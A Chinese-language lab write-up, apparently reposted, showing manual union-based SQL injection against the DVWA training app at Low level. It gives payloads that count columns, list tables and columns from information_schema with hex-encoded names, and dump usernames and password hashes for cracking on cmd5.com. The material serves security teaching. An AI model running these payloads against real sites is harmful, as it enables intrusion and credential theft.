DVWA平台中手动SQL注入并查询数据库信息以及用户密码(Low级别) 您所在的位置:网站首页 如何查询sql数据库版本的数据 DVWA平台中手动SQL注入并查询数据库信息以及用户密码(Low级别)

DVWA平台中手动SQL注入并查询数据库信息以及用户密码(Low级别)

2024-07-13 11:47| 来源: 网络整理| 查看: 265

三、基本技能实验结果与分析: 1.将安全级别设置为low: 在这里插入图片描述 2.进入dvwa的SQL Injection界面: 在这里插入图片描述 在文本框里面输入id=1;此时在url中显示出了?id=1,数据库的信息显示到页面上了,有回显。 3. 在url中提交id=1’ 页面报错;如图 在这里插入图片描述 4. 将后面的语句通过#注释掉,此时页面正常显示 在这里插入图片描述 5. 我们可以知道漏洞参数是:id我们要进行的是 “字符型漏洞” 注入。以上信息确定好后,我们可以进行联合查询。首先使用order by字段,确定该数据表的字段数量,我们输入参数:order by 5; 在这里插入图片描述 6. 当order by 2 时,页面回显正常,说明字段数是2 7.结果如图:在这里插入图片描述 8. 此时用union 注入,由于字段数是2,所以我们输入1’ union select 1,2 # 在这里插入图片描述 9. 由上图我们发现,在蓝色框内将1,2输出到页面中了,所以1和2的位置可以输入mysql语句,我们尝试在2的位置查询当前的数据库名,访问语句:?id=1’ union select 1,database()# 在这里插入图片描述 可以看到,在原来2的位置上将database()函数的结果,输出到了页面上。 获取到了数据库的名字,进而可以获取到表名,语句: ?id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 在这里插入图片描述 可知:有两个表,分别是:guestbook,users。然后我们查看users表的内容,故接下来要查看users表的字段名。 语句:?id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# 注意:语句中table_name=的一串数字,是将表明进行了十六进制编码。因为我们要尽量避免过多的字符串出现在url中,所以最好将字符串进行一下十六进制的编码。 在这里插入图片描述 9. 以上就得到了users表中的字段名,如果我们想查看username和password可通过一下语句: ?id=1’ union select 1,group_concat(user,0x3a,password) from users# 其中,0x3a是字符":" 冒号的十六进制。 在这里插入图片描述 10.在得出的结果中,我们进行一下验证;我们将admin对应的密码放到cmd5中验证:https://www.cmd5.com/;验证密码 在这里插入图片描述



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有